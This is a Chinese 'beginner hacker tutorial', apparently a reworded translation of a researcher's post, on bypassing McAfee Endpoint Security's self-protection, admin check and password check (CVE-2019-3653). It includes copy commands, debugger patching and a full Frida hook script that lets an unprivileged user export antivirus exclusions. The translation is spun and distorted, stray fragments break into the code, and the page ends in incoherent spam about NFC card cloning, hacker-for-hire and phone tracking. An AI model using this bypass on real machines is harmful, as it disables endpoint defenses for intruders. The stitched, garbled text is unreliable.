新手黑客教程:怎么绕过McAfee防护机制

访客4年前黑客文章1125

在之前的浸透检验中,当我们碰到McAfee Virus Scan Enterprise(VSE)时都会会心一笑,其时只需简略查询注册表,就能知道管理员创立的扫描破例项。

但是在这次浸透检验中,情况略微有点杂乱,由于政策运用的是McAfee Endpoint Security。现在McAfee现已不再将扫描破例信息以明文存储在某个方位,我们无法轻松读取这些信息。

那么现在我们该何去何从呢?

本文介绍了我怎样运用McAfee东西来绕过McAfee Endpoint Security产品。

 

0x01 ESConfigTool

McAfee Endpoint Security产品在设备时会顺便名为“ESConfigTool”的一个程序,该程序可以用来导入导出装备文件,详细用法可参阅此处文档。

为了获取McAfee Endpoint Security的装备信息,我们需求满意如下条件:

解锁暗码 管理员权限

但是我们都没有把握这些条件。

我下载了试用版的McAfee Endpoint Security,想进一步研讨一下。

 

0x02 逆向分析

现在作业开端有点扎手,我在逆向分析方面经验不足,与毛猴子无异,只能碰碰命运。

因此,让我们可以从头开端,做一下实验。我创立了如下3个破例项目:

C:WindowsTemp *mimikatz.exe C:TotallyLegit

运用暗码 *** 来维护这些设置,暗码为starwars

现在翻开管理员命令提示符,看能否提取这些设置信息。

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:Windowssystem32>"C:Program FilesMcAfeeEndpoint SecurityEndpoint Security PlatformESConfigTool.exe" /export C:Export.xml /module TP /unlock starwars /plaintextCommand executed successfully. Please refer to Endpoint Security logs for detailsC:Windowssystem32>

翻开生成的XML,看是否能找到我们的破例项:

<EXCLUSION_ITEMS>    <EXCLUSION_ITEM>        <EXCLUSION_BY_NAME_OR_LOCATION>C:WindowsTemp</EXCLUSION_BY_NAME_OR_LOCATION>        <EXCLUSION_FILE_TYPE />        <EXCLUSION_BY_FILE_AGE>0</EXCLUSION_BY_FILE_AGE>        <EXCLUSION_TYPE>3</EXCLUSION_TYPE>        <EXCLUSION_EXCLUDE_SUBFOLDERS>1</EXCLUSION_EXCLUDE_SUBFOLDERS>        <EXCLUSION_ON_READ>1</EXCLUSION_ON_READ>        <EXCLUSION_ON_WRITE>1</EXCLUSION_ON_WRITE>        <EXCLUSION_SOURCE>0</EXCLUSION_SOURCE>    </EXCLUSION_ITEM>    <EXCLUSION_ITEM>        <EXCLUSION_BY_NAME_OR_LOCATION>***mimikatz.exe</EXCLUSION_BY_NAME_OR_LOCATION>        <EXCLUSION_FILE_TYPE />        <EXCLUSION_BY_FILE_AGE>0</EXCLUSION_BY_FILE_AGE>        <EXCLUSION_TYPE>3</EXCLUSION_TYPE>        <EXCLUSION_EXCLUDE_SUBFOLDERS>0</EXCLUSION_EXCLUDE_SUBFOLDERS>        <EXCLUSION_ON_READ>1</EXCLUSION_ON_READ>        <EXCLUSION_ON_WRITE>1</EXCLUSION_ON_WRITE>        <EXCLUSION_SOURCE>0</EXCLUSION_SOURCE>    </EXCLUSION_ITEM>    <EXCLUSION_ITEM>        <EXCLUSION_BY_NAME_OR_LOCATION>C:TotallyLegit</EXCLUSION_BY_NAME_OR_LOCATION>        <EXCLUSION_FILE_TYPE />        <EXCLUSION_BY_FILE_AGE>0</EXCLUSION_BY_FILE_AGE>        <EXCLUSION_TYPE>3</EXCLUSION_TYPE>        <EXCLUSION_EXCLUDE_SUBFOLDERS>1</EXCLUSION_EXCLUDE_SUBFOLDERS>        <EXCLUSION_ON_READ>1</EXCLUSION_ON_READ>        <EXCLUSION_ON_WRITE>1</EXCLUSION_ON_WRITE>        <EXCLUSION_SOURCE>0</EXCLUSION_SOURCE>    </EXCLUSION_ITEM></EXCLUSION_ITEMS>

十分好!但这是我们运用管理员权限、合作正确的暗码才得到的成果。我们可以attach调试器,看一下后台的作业流程。

 

0x03 自我维护

通常情况下,attach调试器是比较简略的一个进程,只需求翻开调试器、选择政策程序、再增加一些命令行参数即可。但是由于我们面对的是一款安全处理计划,因此会面对一些阻止。这儿有个比较大的问题,McAfee的组件都受该产品的“自我维护”功用的防护。假设我们检验attach调试器,就会看到“Debugging stopped”过错音讯,McAfee也会在Self Defense日志文件中记载这些操作。

12/10/2019 12:47:09   mfeesp(2204.6392) <SYSTEM> ApBl.SP.Activity: DESKTOP-DNUK2R5admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule "Core Protection - Protect McAfee processes from unauthorized access and termination", and was blocked. For information about how to respond to this event, see KB85494.12/10/2019 12:47:09   mfeesp(2204.5404) <SYSTEM> ApBl.SP.Activity: DESKTOP-DNUK2R5admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule "Core Protection - Protect McAfee processes from unauthorized access and termination", and was blocked. For information about how to respond to this event, see KB85494.

通过一些检验和过错后,我找到了可以绕过Self Defense机制的一种 *** ,也就是所谓的“Super 1337, z3r0 d4y, APT-style nation state”技术(翻译过来就是diao炸天技术)。请看如下操作:

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:Usersadmin>mkdir tempC:Usersadmin>cd tempC:temp>copy "C:Program FilesMcAfeeEndpoint SecurityEndpoint Security PlatformESConfigTool.exe" .        1 file(s) copied.C:temp>copy "C:Program FilesMcAfeeEndpoint SecurityEndpoint Security Platformblframework.dll" .        1 file(s) copied.C:temp>copy "C:Program FilesMcAfeeEndpoint SecurityEndpoint Security PlatformEpSecApiLib.dll" .        1 file(s) copied.C:temp>copy "C:Program FilesMcAfeeEndpoint SecurityEndpoint Security PlatformMcVariantExport.dll" .        1 file(s) copied.C:temp>copy "C:Program FilesMcAfeeEndpoint SecurityEndpoint Security PlatformLogLib.dll" .        1 file(s) copied.C:temp>

就这么简略?确实如此!我们甚至不需求管理员权限。任何普通用户都可以实行该操作。现在我们可以attach调试器,开端分析:

那现在该怎样持续处理呢?

 

0x04 绕过暗码查看

来看一下当运用过错暗码时会呈现哪些情况。这儿或许会呈现一些字符串,帮我们定位:

C:Windowssystem32>"C:Program FilesMcAfeeEndpoint SecurityEndpoint Security PlatformESConfigTool.exe" /export C:Export.xml /module TP /unlock startrek /plaintextThere were some errors while executing command. Please refer to Endpoint Security logs for detailsC:Windowssystem32>

看上去过错信息比较空泛,但McAfee的日志文件可以供给更多的信息:

10/12/2019 01:11:46.400 PM ESConfigTool(5476.8840) <admin> ESConfigTool.ESConfigTool.Error (ImportExportUtil.cpp:677): Failed to unlock client settings with user supplied password, TriggerAction failed

我们可以在调试器中搜索字符串,判别该过错的方位。

十分好,假设在此处设置断点,再次运转就可以触发断点。假设我们分析触发断点前的逻辑,可以看到政策调用了一个BLInvokeMethod函数,然后实行了某次跳转,但我们在输错暗码时并不会实行该跳转:

此刻我们需求做一些选择:

1、深入分析暗码查看函数,判别函数逻辑,然后检验破解暗码;

2、让暗码函数顺畅运转,批改函数回来值。

由于我的懒散天分,我选择第2种计划。当输入过错暗码时,暗码查看函数会在RAX寄存器中存储一个过错值:

假设供给正确的暗码,RAX寄存器的值为0

因此,假设我们供给过错的暗码,在暗码查看函数上设置断点,然后将RAX寄存器值改为0会怎样样?来试一下。

明显十分顺畅。

事实证明暗码查看逻辑只由该东西自身来担任,我们并不需求解密或许导出实践的装备。接下来让我们处理另一个问题。

 

0x05 绕过管理员查看

尽管输入过错暗码时我们能看到比较明晰的过错提示,但假设没有以管理员权限运转该东西,我们只能看到帮忙信息:

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:Usersuser>"C:Program Fileimport (sMcAfeeEndpoint SecurityEndpoint Security PlatformESConfigTool.exe" /export C:tempExport.xml /module TP /unlock starwars /plaintextDescription:      Endpoint security configuration tool for exporting and importing policy configuration. User needs administrator privileges to run this utility. Utility needs password if the client interface is password protected. File supplied for import must be an encrypted file.USAGE:      ESConfigTool.exe /export <filename> [/module <TP|FW|WC|ESP> ] [/unlock <password> ] [/plaintext ]      ESConfigTool.exe /import <filename> [/module <TP|FW||_ Potentially risky methods: TRACEWC|ESP> ] [/unlock <password> ] [/policyname <name> ]      ESConfigTool.exe /helpC:Usersuser>

日志里边也没有信息。

那么我们怎样知道管理员查看的详细机制?我们可以以普通用户权限运转调试器来分析一下,此刻发现政策会调用一个函数,在回来值上实行字符串比较操作,假设回来代码不等于0,则会调用exit

假设跟进该函数,终究可以找到一个函数:AllocateAndInitializeSid。这些进程都比较蛋疼,不值得专门花时间逆向分析。我们可以试一下偷闲的 *** ,直接批改回来值。

进一步分析,我们发现回来值查看逻辑坐落此处:

这儿我们直接把回来值设置为0

成果仍然十分顺畅!

现在我们可以在受限权限且不知道正确暗码的情况下,从McAfee Endpoint Security中导出装备信息。

 

0x06 自动化操作

现在的发展十分顺畅,但是假设每次都需求attach调试器,手动批改回来值,明显是十分苦楚的操作。走运的是,Frida可以供给援手。假设我们不熟悉Frida,主张了解一下。该东西可以帮我们做许多操作,比如hook函数、批改回来值等,我们只需求了解JavaScript就能完结 brew install hal这些使命。

但是我们怎样将Frida注入McAfee呢?十分简略,运用frida-server即可。我们可以在运转McAfee的主机上翻开该东西,然后运用Python建议衔接。

McAfee政策主机:

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:Usersadmin>cd tempC:temp>frida-server-12.7.9-windows-x86_64.exe

Python主机:

Python 3.6.7 (default, Oct 22 2018, 11:32:17) [GCC 8.2.0] on linuxType "help", "copyright", "credits" or "license" for more information.>>> import frida>>> devmgr = frida.get_device_manager()>>> devmgr.add_remote_device('192.168.31.150')Device(id="tcp@192.168.31.150", name="192.168.31.150", type='remote')>>> rdev = frida.get_device('tcp@192.168.31.150')>>> args = [...   'ESConfigTool.exe',...   '/export',...   'frida-export.xml',...   '/module',...   'ESP',...   '/unlock',...   'startrek',...   '/plaintext'... ]>>> pid = rdev.spawn(args)>>> session = rdev.attach(pid)>>> sessionSession(pid=11168)

成功衔接,且ESConfigTool.exe处于运转情况!

现在我们可以将JavaScript代码注入ESConfigTool进程中。

 

0x07 Frida脚本

这儿我就不详细介绍怎样创立该脚本,本文现已介绍了足够多的布景信息,这儿我直接给出完好脚本:

const configBase = Module.findBaseAddress('ESConfigTool.exe');//const adminCheck = configBase.add(0x5240); //32const adminCheck = configBase.add(0x5f30); //64const BLInvokeMethod = Module.findExportByName('blframework.dll','BLInvokeMethod')console.log('[-] Base address is:',configBase);console.log('[-] Admin check is:',adminCheck);console.log('[-] BLInvokeMethod:',BLInvokeMethod);Interceptor.attach(adminCheck, {  onEnter: function (args) {    console.log('[+] Hooked admin check function');  },  onLeave: function (retval) {    console.log('[+] Returning true for admin check');    retval.replace(1);  }});Interceptor.attach(BLInvokeMethod, {  onEnter: function (args) {    console.log('[+] Hooked BLInvokeMethod function');  },  onLeave: function (retval) {    console.log('[+] Patching password check function');    retval.replace(0x0);  }});

脚本的逻辑与我们在调试器中手动实行的逻辑共同,会批改回来值。让我们注入脚本,调查是否能成功实行:

>>> script = """... const configBase = Module.findBaseAddress('ESConfigTool.exe');... //const adminCheck = configBase.add(0x5240); //32... const adminCheck = configBase.add(0x5f30); //64... const BLInvokeMethod = Module.findExportByName('blframework.dll','BLInvokeMethod')... ... console.log('[-] Base address is:',configBase);... console.log('[-] Admin check is:',adminCheck);... console.log('[-] BLInvokeMethod:',BLInvokeMethod);... ... Interceptor.attach(adminCheck, {...   onEnter: function (args) {...     console.log('[+] Hooked admin check function');...   },...   onLeave: function (retval) {...     console.log('[+] Returning true for admin check');...     retval.replace(1);...   }... });... ... Interceptor.attach(BLInvokeMethod, {...   onEnter: function (args) {...     console.log('[+] Hooked BLInvokeMethod function');...   },...   onLeave: function (retval) {...     console.log('[+] Patching password check function');...     retval.replace(0x0);...   }... });... ... """>>&gt

◆自动发作安全的暗码

; session.create_script(script).load()[-] Base address is: 0x7ff73ed30000[-] Adm1.常规扫描全部TCP端口。in check is: 0x7ff73ed35f30[-] BLInvokeMethod: 0x7ffa4d759730>>> rdev.resume(pid)>>> [+] Hooked admin check function[+] Returning true for admin check[+] Hooked BLInvokeMethod function[+] Patching password check function>>>

事实证明十分顺畅:

尽管命令提示符中闪现的是admin用户,但我并没有答应UAC弹窗。请信任我普通用户就能完结该使命。

 

0x08 后续操作

我们终究得到了扫描破例项目信息。由于该进程通过TCP衔接完结,因此我也成功通过Cobalt Strike beacon完结该操作。

即便本文中我们只分析了怎样导出该信息,但其实我们也可以导入装备文件。这意味着我们可以增加自己的破例项,批改其他设置,甚至删去暗码等。

这儿要略微提一下/plaintext参数,这个参数有点“神经刀”。有时候能正常作业,有时候却不可。或许不同的版赋性需求运用不同的函数偏移量?我并不承认。这儿我不想进一步研讨,由于即便McAfee向我们供给了不加此参数的加密装备,我们也可以将加密装备直接载入试用版产品中。

其他,装备信息终究怎样加密?这是另一个论题。当McAfee PSIRT(Product Security Incident Response Team)批改该问题后,PoS我会供给一些信息。

 

0x09 缓解机制

McAfee PSIRT发布了一个安全布告,批改了该问题,分配的缝隙编号为CVE-2019-3653。这儿我并没有检验缝隙是否已被批改,究竟自己太懒了。

我还有另一个主意:即便官方批改了ESConfigTool中的问题,我们能否运用前期版其他东西,在新版的McAfee Endpoint Protection上持续使用?这个作业留给我们完结,我上传了一个python PoC脚本,欢迎我们检验。

本文翻译自 dmaasland.github.io, 原文链接 。如若转载请注明出处。译文声明

本文是翻译文章,文章原作者dmaasland,文章来历:dmaasland.github.io 
原文地址:https://dmaasland.github.io/posts/mcafee.html


译文仅供参阅,详细内容表达以及意义原文为准

新手黑客教程:怎么绕过McAfee防护机制

08: fffff80740dd5500 nt!KiDoubleFaultAbortShadow Stack = 0xFFFFF8074328A3E0 1, 58, 50, 42, 34, 26, 18,MD5 // Save the arguments如何绕过McAfee防护机制

新手黑客教程白帽心声:没有赏金就作为是一种鼓动吧。设备 OALabs-VM 东西1. 由于设备已被擦除,因此你需求回来并从头启用开发人员选项以及USB调试。 请保证你的PC仍能辨认你的Pixel 3手机。Imaginary C2 将照应磁盘上文件的内容

MD5 (7)查看反汇编代码,可以看到一些关于MBR Kill Setup的代码段,如下:按照github上的设备说明,设备OTXv2依托库即可。下面,来说明实验的详细实施进程。SetSPN是一个本地windows二进制文件,可用于检索用户帐户和服务之间的映射。该实用程序可以增加,删去或查看SPN注册。新手黑客教程

I: Bak *** aling classes.dex...

[1][2]黑客接单网

由此可以看出,替换时要留心两点:

x: eXecutable, 可实行#chown root:root /etc/grub.confDbgPrint(("See you Again!I'm Kr0netn"));SAS选用操作恢复技术可以将用户的操作流程自动地展现出来,可以监控用户的每一次行为,判定用户的行为是否对企业内部 *** 安全构成危害。如何绕过McAfee防护机制

新手黑客教程在Net Cease在政策机器上安置后,非处理用户想要远程调用NetSess时就会被阻遏。这种类型的 *** ,一般是通过实行 *** B会话枚举,凭仗NetSessionEnum *** 去勘探域控DC,然后再获取其他政策的信息。Edit > EOL Conversion > UNIX/OSX Format检验系统:Win7 x64途径现在安卓的adb调试协议启用了设备认证,并运用了RSA非对称加密!我来简略描叙下ADB协议的流程:

  比如,司机或许在机修工的帮忙下重新设备轿车软件补偿勒索软件感染,许多瘫痪轿车在交通繁忙的高速公路或许导致更严峻的成果。受害者或市政当局或许除了支付赎金重开通勤路途以外别无选择。其他,物流公司或许遽然发现大部分卡车车队让勒索软件害得无法运用。停工期间潜在的收入丢掉迫使公司支付赎金,而不是冒更大经济丢掉风险。START_TYPE : 2 AUTO_START企业服务器安全,讲究保证服务器的物理安全,就是不能让坏人挨近或直接接触到服务器。ATM机天然不具备这种特色,它需求面向普通人,有些甚至是露天的,所以直接搬走听起来是个很不错的主意。for ((j=0;j新手黑客教程

这是两篇标准的手动批改nfc文件仿照门禁卡的教程,各种机型截然不同,请各位朋友按照教程手动批改后,承认能手动批改后,那么把文中提到的nfc控制文件从自己手机里提取出来,然后转发给楼主,楼主就会帮你做适配。后续楼主还会开发更多有用的小功用,但是机型适配这块,楼主手里没有那么多手机,所以只需靠我们一起来给软件增加适配机型了。 承认能适配后,将机型称谓,nfc控制文件,一起转发给楼主即可,机型称谓是系统信息里闪现的称谓,比如米3叫MI3、魅族PRO5就叫PRO5,我们要注意。 米5手动仿照门禁卡教程:米3手动仿照门禁卡教程:

一般来说系统损坏的影响都是毁灭性的,企业业务间断、中心资料丢掉,除去直接的经济丢掉之外,不得不进行裁人导致员工大批赋闲,影响社会安稳。假设系统损坏发作在 *** 、基础设备以及军工等部分,如电力、通讯、军工研讨所等,那么所带来的影响就不是单纯的经济丢掉,而是挟制到国家安全。依据CERT数据库中123个损坏案例的分析,每个损坏挟制均匀构成丢掉170万美元,最多的案例构成了870万美元。我们依据现有损坏挟制分析,详细的影响可以有以下情况,如图1:  repo_upgrade: none0×03 生成与检验如何绕过McAfee防护机制

script>

Strict-Transport-Security字段包括:

可以设置需求注入的用户(如IP地址),资源(如可实行文件)等规则。
本文标题:新手黑客教程:怎么绕过McAfee防护机制

相关文章

谷歌黑客系列视频(谷歌被黑客攻击)

谷歌黑客系列视频(谷歌被黑客攻击)

为啥谷歌身份验证器下载不了 1、在应用管理器找到“下载”或者“下载管理器”清楚应用的所有数据,然后强行停止他,再测试看看 在手机设置里,有账号同步,把谷歌账号同步一下 使用梯子的,如果开了分应用代理就...

第三方咖啡如何加盟?轻松加盟好品牌赚钱盈利

第三方咖啡如何加盟?轻松加盟好品牌赚钱盈利

跟着经济程度的不绝的成长,有着越来越多的人开始寻找好品牌好项目需要通过做好加盟品牌加盟项目来实现创业空想缔造更多的经济财产改变糊口的近况,晋升糊口的品质。那么跟着经济的成长形势各行各业的成长都长短常繁...

PdgCntEditor怎么使用,PdgCntEditor使用图文步骤

PdgCntEditor如何使用呢,话说许多客户都是在资询这个问题呢?下边就来我这儿看下PdgCntEditor应用文图流程流程吧,必须的盆友能够参照下哦。       PdgCntEditor如何使...

DNF牛郎星的光辉如何获取 DNF牛郎星的光辉获取攻略

DNF牛郎星的光辉如何获取 DNF牛郎星的光辉获取攻略

DNF即将上线的7月30日更新中上线了几个新的活动,其中有一个比较长期的活动,是和下个月即将上线的七夕节有关系的,也就是新的跨越银河的相会活动。今天给大家带来的就是其中一个道具牛郎星的光辉的相关介绍。...

输入手机号免费查定位(不收费的定位软件找人)

说到卫星定位,我们不得不提到卫星系统。输入手机号免费查定位(不收费的定位软件找人),世界上有四大卫星系统,最为人所熟悉的是北斗定位系统和GPS定位系统。除了北斗和全球定位系统,还有俄罗斯的格洛纳斯和欧...

怎样关联老婆的微信聊天记录(两个微信号关联方法就这...

秋天到了,又到了一年一度黑客们脑洞大开的日子。 SyScan360的大名叫做““国际前瞻信息安全会议”,实质是顶尖黑客们分享他们最新研究的黑科技的聚会。在这次SyScan360上,曾经17秒攻...